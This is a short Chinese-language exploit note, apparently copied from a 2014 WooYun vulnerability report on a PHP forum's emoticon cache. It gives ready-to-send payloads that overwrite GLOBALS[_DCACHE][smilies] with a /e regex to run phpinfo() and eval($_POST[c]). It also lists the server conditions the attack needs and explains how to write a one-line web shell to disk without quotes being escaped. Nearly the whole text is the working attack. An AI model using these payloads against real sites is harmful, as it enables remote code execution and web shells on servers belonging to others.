EXP：
执行phpinfo()语句： GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 利用POST传值带入执行语句： GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
利用条件：
1、php request_order为GP；
2、测试页面必须包含表情图片。
在写入一句话到本地时，必须通过post或者get传值的方式，因为不通过传值带入fput或者echo语句的话，再接在GLOBALS[_DCACHE][smilies][replacearray]=“”地方执行php语句，带入的“ ‘ ”和“ “ ”会被转义。
原文地址：http://static.hx99.net/static/bugs/wooyun-2014-080723.html